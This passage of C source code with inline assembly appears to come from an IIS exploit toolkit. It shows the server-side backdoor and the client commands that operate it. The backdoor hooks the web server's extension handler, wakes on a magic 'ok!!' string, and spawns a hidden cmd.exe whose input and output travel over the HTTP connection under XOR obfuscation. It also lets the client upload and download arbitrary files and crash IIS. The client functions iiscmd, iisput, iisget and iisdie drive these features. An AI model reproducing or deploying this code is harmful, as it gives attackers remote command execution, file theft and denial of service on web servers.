|
||
}
|
||
// *(int *)(dooradd-0x0c)=HttpExtensionProcadd;
|
||
|
||
}
|
||
writeclient= *(int *)(ecb+0x84);
|
||
readclient = *(int *)(ecb+0x88);
|
||
ConnID = *(int *)(ecb+8) ;
|
||
stradd=k;
|
||
_asm{
|
||
lea edi,except
|
||
mov eax,dword ptr [edi+0x08]
|
||
mov dword ptr fs:[0],eax
|
||
}
|
||
if(thedoor==0){
|
||
_asm{
|
||
mov eax,0xffffffff
|
||
mov dword ptr fs:[0],eax
|
||
}
|
||
}
|
||
stradd2=stradd;
|
||
stradd+=8;
|
||
k=0x20;
|
||
writeclient(ConnID,*(int *)(ecb+0x6c),&k,0);
|
||
k=8;
|
||
writeclient(ConnID,stradd+9,&k,0);
|
||
// Sleepadd(100);
|
||
|
||
shelllocknum=LOCKBIGNUM2;
|
||
if(*(int *)*(int *)(ecb+0x64)=='ok!!'&&*(int *)(*(int
|
||
*)(ecb+0x64)+4)=='notx') shelllocknum=0;
|
||
|
||
// iiscmd:
|
||
lockintvar1=shelllocknum%LOCKBIGNUM;
|
||
lockintvar2=lockintvar1;
|
||
iiscmd:
|
||
/*
|
||
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
|
||
lockintvar2=lockintvar1;
|
||
*/
|
||
sa.nLength=12;
|
||
sa.lpSecurityDescriptor=0;
|
||
sa.bInheritHandle=TRUE;
|
||
CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
|
||
CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);
|
||
// ZeroMemory(&siinfo,sizeof(siinfo));
|
||
_asm{
|
||
lea EDI,siinfo
|
||
xor eax,eax
|
||
mov ecx,0x11
|
||
repnz stosd
|
||
}
|
||
siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
|
||
siinfo.wShowWindow = SW_HIDE;
|
||
siinfo.hStdInput = hReadPipe2;
|
||
siinfo.hStdOutput=hWritePipe1;
|
||
siinfo.hStdError =hWritePipe1;
|
||
k=0;
|
||
// while(k==0)
|
||
// {
|
||
k=CreateProcessadd(NULL,stradd2,NULL,NULL,1,0,NULL,NULL,&siinfo,
|
||
&ProcessInformation);
|
||
// stradd+=8;
|
||
// }
|
||
Sleepadd(200);
|
||
// PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0
|
||
);
|
||
|
||
|
||
i=0;
|
||
while(1) {
|
||
PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
|
||
if(lBytesRead>0) {
|
||
i=0;
|
||
ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
|
||
if(lBytesRead>0) {
|
||
for(k=0;k<lBytesRead;++k){
|
||
lockintvar2=lockintvar2*0x100;
|
||
lockintvar2=lockintvar2%LOCKBIGNUM;
|
||
lockcharvar=lockintvar2%0x100;
|
||
Buff[k]^=lockcharvar; // DATAXORCODE;
|
||
// Buff[k]^=DATAXORCODE;
|
||
}
|
||
writeclient(ConnID,Buff,&lBytesRead,0); // HSE_IO_SYNC);
|
||
// Sleepadd(20);
|
||
}
|
||
}
|
||
else{
|
||
// Sleepadd(10);
|
||
l=0;
|
||
if(i<50){
|
||
l=1;
|
||
++i;
|
||
k=1;
|
||
lBytesRead=0;
|
||
}
|
||
|
||
|
||
|
||
while(l==0){
|
||
i=0;
|
||
lBytesRead=SHELLBUFFSIZE;
|
||
k=readclient(ConnID,Buff,&lBytesRead);
|
||
for(l=0;l<lBytesRead;++l){
|
||
lockintvar1=lockintvar1*0x100;
|
||
lockintvar1=lockintvar1%LOCKBIGNUM;
|
||
lockcharvar=lockintvar1%0x100;
|
||
Buff[l]^=lockcharvar; // DATAXORCODE;
|
||
}
|
||
|
||
if(k==1&&lBytesRead>=5&&Buff[0]=='i'&&Buff[1]=='i'&&Bu
|
||
ff[2]=='s'&&Buff[3]=='c'&&Buff[4]==' '){
|
||
k=8;
|
||
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
|
||
cmd.exe
|
||
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
|
||
cmd.exe
|
||
stradd2=Buff+5;
|
||
Buff[lBytesRead]=0;
|
||
goto iiscmd;
|
||
}
|
||
if(k==1&&lBytesRead>=5&&Buff[0]=='r'&&Buff[1]=='e'&&Bu
|
||
ff[2]=='s'&&Buff[3]=='e'&&Buff[4]=='t'){
|
||
|
||
|
||
lBytesRead=0x0c;
|
||
writeclient(ConnID,stradd+0x11,&lBytesRead,0);
|
||
lockintvar1=shelllocknum%LOCKBIGNUM;
|
||
lockintvar2=lockintvar1;
|
||
lBytesRead=0;
|
||
}
|
||
if(k==1&&lBytesRead>=5&&Buff[0]=='i'&&Buff[1]=='i'&&Bu
|
||
ff[2]=='s'&&Buff[3]=='r'&&Buff[4]=='r'){
|
||
k=8;
|
||
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
|
||
cmd.exe
|
||
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit
|
||
cmd.exe
|
||
*(int *)(dooradd-0x0c)=0;
|
||
Sleepadd(0x7fffffff);
|
||
_asm{
|
||
mov eax,0
|
||
mov esp,0
|
||
jmp eax
|
||
}
|
||
}
|
||
|
||
|
||
if(k==1&&lBytesRead>4&&Buff[0]=='p'&&Buff[1]=='u'&&Buff[2]=='t'&&Buff[3]
|
||
==' ')
|
||
{
|
||
l=*(int *)(Buff+4);
|
||
//
|
||
WriteFileadd(fpt,Buff,lBytesRead,&lBytesRead,NULL);
|
||
fpt=CreateFileAadd(Buff+0x8,FILE_FLAG_WRITE_THROUGH+
|
||
GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
|
||
);
|
||
k=GetLastErroradd();
|
||
i=0;
|
||
while(l>0){
|
||
lBytesRead=SHELLBUFFSIZE;
|
||
k=readclient(ConnID,Buff,&lBytesRead);
|
||
if(k==1){
|
||
if(lBytesRead>0){
|
||
for(k=0;k<lBytesRead;++k){
|
||
lockintvar1=lockintvar1*0x100;
|
||
lockintvar1=lockintvar1%LOCKBIGNUM;
|
||
lockcharvar=lockintvar1%0x100;
|
||
Buff[k]^=lockcharvar; //
|
||
DATAXORCODE;
|
||
}
|
||
|
||
l-=lBytesRead;
|
||
// if(fpt>0)
|
||
|
||
WriteFileadd(fpt,Buff,lBytesRead,&lBytesRead,NULL);
|
||
// else Sleepadd(010);
|
||
}
|
||
|
||
// if(i>100) l=0;
|
||
}
|
||
else {
|
||
Sleepadd(0100);
|
||
++i;
|
||
}
|
||
if(i>10000) l=0;
|
||
}
|
||
|
||
CloseHandleadd(fpt);
|
||
l=0;
|
||
}
|
||
else{
|
||
|
||
if(k==1&&lBytesRead>4&&Buff[0]=='g'&&Buff[1]=='e'&&Buff[2]=='t'&&Buff[3]
|
||
==' '){
|
||
|
||
//
|
||
fpt=CreateFileAadd(Buff+4,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTIN
|
||
G,FILE_ATTRIBUTE_NORMAL,0);
|
||
|
||
|
||
fpt=CreateFileAadd(Buff+4,GENERIC_READ,FILE_SHARE_READ+FILE_SHARE_WRITE,
|
||
NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0);
|
||
Sleepadd(100);
|
||
l=GetFileSizeadd(fpt,&k);
|
||
*(int *)Buff='ezis'; //size
|
||
*(int *)(Buff+4)=l;
|
||
lBytesRead=8;
|
||
for(i=0;i<lBytesRead;++i){
|
||
lockintvar2=lockintvar2*0x100;
|
||
lockintvar2=lockintvar2%LOCKBIGNUM;
|
||
lockcharvar=lockintvar2%0x100;
|
||
Buff[i]^=lockcharvar; // DATAXORCODE;
|
||
}
|
||
|
||
writeclient(ConnID,Buff,&lBytesRead,0); //
|
||
HSE_IO_SYNC);
|
||
// Sleepadd(100);
|
||
i=0;
|
||
while(l>0){
|
||
k=SHELLBUFFSIZE;
|
||
ReadFileadd(fpt,Buff,k,&k,0);
|
||
if(k>0){
|
||
for(i=0;i<k;++i){
|
||
lockintvar2=lockintvar2*0x100;
|
||
lockintvar2=lockintvar2%LOCKBIGNUM
|
||
;
|
||
lockcharvar=lockintvar2%0x100;
|
||
Buff[i]^=lockcharvar; //
|
||
DATAXORCODE;
|
||
}
|
||
|
||
i=0;
|
||
l-=k;
|
||
writeclient(ConnID,Buff,&k,0); //
|
||
HSE_IO_SYNC);
|
||
// Sleepadd(100);
|
||
//
|
||
k=readclient(ConnID,Buff,&lBytesRead);
|
||
|
||
}
|
||
else ++i;
|
||
if(i>100) l=0;
|
||
}
|
||
CloseHandleadd(fpt);
|
||
l=0;
|
||
}
|
||
else l=1;
|
||
}
|
||
}
|
||
if(k!=1){
|
||
k=8;
|
||
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
|
||
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
|
||
WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
|
||
k=GetLastErroradd();
|
||
while(k==0x2746){
|
||
if(thedoor==1) goto asmreturn;
|
||
Sleepadd(0x7fffffff); //<2F><><EFBFBD><EFBFBD>
|
||
}
|
||
|
||
}
|
||
else{
|
||
|
||
WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
|
||
// Sleepadd(1000);
|
||
}
|
||
}
|
||
}
|
||
|
||
die: goto die ;
|
||
_asm{
|
||
asmreturn:
|
||
mov eax,HSE_STATUS_SUCCESS
|
||
leave
|
||
ret 04
|
||
door: push eax
|
||
mov eax,[esp+0x08]
|
||
mov eax,[eax+0x64]
|
||
mov eax,[eax]
|
||
cmp eax,'ok!!'
|
||
jnz jmpold
|
||
pop eax
|
||
push 0x12345678 //dooradd-0x13
|
||
ret
|
||
jmpold: pop eax
|
||
push 0x12345678 //dooradd-0xc
|
||
ret //1
|
||
jmp door //2
|
||
getdoorcall: call getdooradd //5
|
||
|
||
getexceptretadd: pop eax
|
||
push eax
|
||
mov edi,dword ptr [stradd]
|
||
mov dword ptr [edi-0x0e],eax
|
||
ret
|
||
errprogram: mov eax,dword ptr [esp+0x0c]
|
||
add eax,0xb8
|
||
mov dword ptr [eax],0x11223344 //stradd-0xe
|
||
xor eax,eax //2
|
||
ret //1
|
||
execptprogram: jmp errprogram //2 bytes stradd-7
|
||
nextcall: call getstradd //5 bytes
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
NOP
|
||
}
|
||
}
|
||
void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
|
||
{
|
||
int i,k;
|
||
unsigned char temp;
|
||
char *calladd;
|
||
for(i=0;i<len;++i){
|
||
temp=shellbuff[i];
|
||
if(temp==0xe8){
|
||
k=*(int *)(shellbuff+i+1);
|
||
calladd=fnadd;
|
||
calladd+=k;
|
||
calladd+=i;
|
||
calladd+=5;
|
||
if(calladd==chkesp){
|
||
shellbuff[i]=0x90;
|
||
shellbuff[i+1]=0x43; // inc ebx
|
||
shellbuff[i+2]=0x4b; // dec ebx
|
||
shellbuff[i+3]=0x43;
|
||
shellbuff[i+4]=0x4b;
|
||
}
|
||
}
|
||
}
|
||
}
|
||
void iisput(int fd,char *str){
|
||
char *filename;
|
||
char *filename2;
|
||
FILE *fpt;
|
||
char buff[0x2000];
|
||
int size=0x2000,i,j,filesize,filesizehigh;
|
||
filename="\0";
|
||
filename2="\0";
|
||
j=strlen(str);
|
||
for(i=0;i<j;++i,++str){
|
||
if(*str!=' '){
|
||
filename=str;
|
||
break;
|
||
}
|
||
}
|
||
for(;i<j;++i,++str){
|
||
if(*str==' ') {
|
||
*str=0;
|
||
break;
|
||
}
|
||
}
|
||
++i;
|
||
++str;
|
||
for(;i<j;++i,++str){
|
||
if(*str!=' '){
|
||
filename2=str;
|
||
break;
|
||
}
|
||
}
|
||
for(;i<j;++i,++str){
|
||
if(*str==' ') {
|
||
*str=0;
|
||
break;
|
||
}
|
||
}
|
||
if(filename=="\x0") {
|
||
printf("\n iisput filename [path\\fiename]\n");
|
||
return;
|
||
}
|
||
if(filename2=="\x0") filename2=filename;
|
||
printf("\n begin put file:%s",filename);
|
||
j=0;
|
||
ioctlsocket(fd, FIONBIO, &j);
|
||
Sleep(1000);
|
||
fpt=CreateFile(filename,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,
|
||
FILE_ATTRIBUTE_NORMAL,0);
|
||
filesize=GetFileSize(fpt,&filesizehigh);
|
||
strcpy(buff,"put ");
|
||
*(int *)(buff+4)=filesize;
|
||
filesize=*(int *)(buff+4);
|
||
strcpy(buff+0x8,filename2);
|
||
newsend(fd,buff,i+0x9,0);
|
||
printf("\n put file:%s to file:%s %d
|
||
bytes",filename,filename2,filesize);
|
||
Sleep(1000);
|
||
while(filesize>0){
|
||
size=0x800;
|
||
ReadFile(fpt,buff,size,&size,NULL);
|
||
if(size>0){
|
||
filesize-=size;
|
||
newsend(fd,buff,size,0);
|
||
// Sleep(0100);
|
||
|
||
}
|
||
}
|
||
// size=filesize;
|
||
// ReadFile(fpt,buff,size,&size,NULL);
|
||
// if(size>0) send(fd,buff,size,0);
|
||
CloseHandle(fpt);
|
||
j=1;
|
||
ioctlsocket(fd, FIONBIO, &j);
|
||
printf("\n put file ok!\n");
|
||
Sleep(1000);
|
||
}
|
||
void iisget(int fd,char *str){
|
||
char *filename;
|
||
char *filename2;
|
||
FILE *fpt;
|
||
char buff[0x2000];
|
||
int size=0x2000,i,j,filesize,filesizehigh;
|
||
filename="\0";
|
||
filename2="\0";
|
||
j=strlen(str);
|
||
for(i=0;i<j;++i,++str){
|
||
if(*str!=' '){
|
||
filename=str;
|
||
break;
|
||
}
|
||
}
|
||
for(;i<j;++i,++str){
|
||
if(*str==' ') {
|
||
*str=0;
|
||
break;
|
||
}
|
||
}
|
||
++i;
|
||
++str;
|
||
for(;i<j;++i,++str){
|
||
if(*str!=' '){
|
||
filename2=str;
|
||
break;
|
||
}
|
||
}
|
||
for(;i<j;++i,++str){
|
||
if(*str==' ') {
|
||
*str=0;
|
||
break;
|
||
}
|
||
}
|
||
if(filename=="\x0") {
|
||
printf("\n iisget filename [path\\fiename]\n");
|
||
return;
|
||
}
|
||
if(filename2=="\x0") filename2=filename;
|
||
printf("\n begin get file:%s",filename);
|
||
fpt=CreateFileA(filename,FILE_FLAG_WRITE_THROUGH+GENERIC_WRITE,FILE_SHAR
|
||
E_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
|
||
strcpy(buff,"get ");
|
||
strcpy(buff+0x4,filename2);
|
||
newsend(fd,buff,i+0x5,0);
|
||
printf("\n get file:%s from file:%s",filename,filename2);
|
||
j=0;
|
||
ioctlsocket(fd, FIONBIO, &j);
|
||
i=0;
|
||
filesize=0;
|
||
j=0;
|
||
while(j<100){
|
||
// Sleep(100);
|
||
i=newrecv(fd,buff,0x800,0);
|
||
if(i>0){
|
||
buff[i]=0;
|
||
if(memcmp(buff,"size",4)==0){
|
||
filesize=*(int *)(buff+4);
|
||
j=100;
|
||
}
|
||
else {
|
||
|
||
/* for(j=0;j<i;++j){
|
||
lockintvar1=lockintvar1*0x100;
|
||
lockintvar1=lockintvar1%LOCKBIGNUM;
|
||
lockcharvar=lockintvar1%0x100;
|
||
buff[j]^=lockcharvar; // DATAXORCODE;
|
||
}
|
||
*/
|
||
j=0;
|
||
printf("\n recv %s",buff);
|
||
}
|
||
}
|
||
else ++j;
|
||
// if(j>1000) i=0;
|
||
}
|
||
printf("\n file %d bytes %d\n",filesize,i);
|
||
if(i>8){
|
||
i-=8;
|
||
filesize-=i;
|
||
WriteFile(fpt,buff+8,i,&i,NULL);
|
||
|
||
}
|
||
while(filesize>0){
|
||
size=newrecv(fd,buff,0x800,0);
|
||
if(size>0){
|
||
filesize-=size;
|
||
WriteFile(fpt,buff,size,&size,NULL);
|
||
|
||
}
|
||
else {
|
||
if(size==0) {
|
||
printf("\n ftp close \n ");
|
||
}
|
||
else {
|
||
printf("\n Sleep(100)");
|
||
Sleep(100);
|
||
}
|
||
}
|
||
}
|
||
CloseHandle(fpt);
|
||
printf("\n get file ok!\n");
|
||
j=1;
|
||
ioctlsocket(fd, FIONBIO, &j);
|
||
}
|
||
void iisreset(int fd,char *str){
|
||
char buff[0x2000];
|
||
int i,j;
|
||
printf("\nreset xor data.\n");
|
||
Sleep(1000);
|
||
j=0;
|
||
ioctlsocket(fd, FIONBIO, &j);
|
||
strcpy(buff,"reset");
|
||
newsend(fd,buff,strlen(buff),0);
|
||
Sleep(1000);
|
||
|
||
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
|
||
lockintvar2=lockintvar1;
|
||
while(1){
|
||
j=recv(fd,buff,0x2000,0);
|
||
if(j>0){
|
||
buff[j]=0;
|
||
for(i=0;i<j;++i){
|
||
if(buff[i]==0) buff[i]='b';
|
||
}
|
||
// printf("\nrecv 0x%x bytes:%s",j,buff);
|
||
if(strstr(buff,"xordatareset")!=0){
|
||
printf("\nxor data reset ok.\n");
|
||
for(i=strstr(buff,"xordatareset")-buff+0x0c;i<j;++i){
|
||
lockintvar1=lockintvar1*0x100;
|
||
lockintvar1=lockintvar1%LOCKBIGNUM;
|
||
lockcharvar=lockintvar1%0x100;
|
||
buff[i]^=lockcharvar; // DATAXORCODE;
|
||
}
|
||
|
||
break;
|
||
}
|
||
}
|
||
// else if(j==0) break;
|
||
// strcpy(buff,"\r\nmkdir d:\\test6\r\n");
|
||
// newsend(fd,buff,strlen(buff),0);
|
||
}
|
||
Sleep(1000);
|
||
j=1;
|
||
ioctlsocket(fd, FIONBIO, &j);
|
||
// printf("aaa");
|
||
}
|
||
void iisdie(int fd,char *str){
|
||
char buff[0x200];
|
||
int j;
|
||
printf("\niis die.\n");
|
||
j=0;
|
||
ioctlsocket(fd, FIONBIO, &j);
|
||
Sleep(1000);
|
||
strcpy(buff,"iisrr ");
|
||
newsend(fd,buff,strlen(buff),0);
|
||
Sleep(1000);
|
||
j=1;
|
||
ioctlsocket(fd, FIONBIO, &j);
|
||
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
|
||
lockintvar2=lockintvar1;
|
||
}
|
||
void iiscmd(int fd,char *str){
|
||
char *cmd="\0";
|
||
char buff[2000];
|
||
int i,j;
|
||
j=strlen(str);
|
||
for(i=0;i<j;++i,++str){
|
||
if(*str!=' '){
|
||
cmd=str;
|
||
break;
|
||
}
|
||
}
|
||
j=strlen(str);
|
||
for(i=0;i<j;++i){
|
||
if(*(str+j-i-1)!=' ') {
|
||
break;
|
||
}
|
||
else *(str+j-i-1)=0;
|
||
}
|
||
|
||
if(cmd=="\x0") {
|
||
printf("\niiscmd cmd\n");
|
||
return;
|
||
}
|
||
printf("\nbegin run cmd:%s",cmd);
|
||
j=0;
|
||
ioctlsocket(fd, FIONBIO, &j);
|
||
Sleep(1000);
|
||
strcpy(buff,"iisc ");
|
||
strcat(buff,cmd);
|
||
newsend(fd,buff,strlen(buff),0);
|
||
Sleep(1000);
|
||
j=1;
|
||
ioctlsocket(fd, FIONBIO, &j);
|
||
/*
|
||
lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
|
||
lockintvar2=lockintvar1;
|
||
*/
|
||
}
|
||
int newrecv(int fd,char *buff,int size,int flag){
|
||
|
||
int i,k;
|
||
k=recv(fd,buff,size,flag);
|
||
if(xordatabegin==1){
|
||
for(i=0;i<k;++i){
|
||
lockintvar1=lockintvar1*0x100;
|
||
lockintvar1=lockintvar1%LOCKBIGNUM;
|
||
lockcharvar=lockintvar1%0x100;
|
||
buff[i]^=lockcharvar; // DATAXORCODE;
|
||
}
|
||
|
||
}
|
||
else{
|
||
if(k>0){
|
||
buff[k]=0;
|
||
if(strstr(buff,"XORDATA")!=0) {
|
||
xordatabegin=1;
|
||
for(i=strstr(buff,"XORDATA")-buff+8;i<k;++i){
|
||
lockintvar1=lockintvar1*0x100;
|
||
lockintvar1=lockintvar1%LOCKBIGNUM;
|
||
lockcharvar=lockintvar1%0x100;
|
||
buff[i]^=lockcharvar; // DATAXORCODE;
|
||
}
|
||
}
|
||
}
|
||
|
||
}
|
||
return(k);
|
||
}
|
||
int newsend(int fd,char *buff,int size,int flag){
|
||
int i;
|
||
|
||
for(i=0;i<size;++i){
|
||
lockintvar2=lockintvar2*0x100;
|
||
lockintvar2=lockintvar2%LOCKBIGNUM;
|
||
lockcharvar=lockintvar2%0x100;
|
||
buff[i]^=lockcharvar; // DATAXORCODE;
|
||
// buff[i]^=DATAXORCODE;
|
||
}
|
||
return(send(fd,buff,size,flag));
|
||
}
|
||
void iishelp(){
|
||
printf("\nusage:");
|
||
printf("\niisget filename filename. get file from web server.");
|
||
printf("\niisput filename filename. put file to web server.");
|
||
printf("\niiscmd cmd. run cmd on web server.");
|
||
printf("\niisreset. reset the xor data.");
|
||
printf("\niisdie. reset the asp door.");
|
||
printf("\n\n");
|
||
} |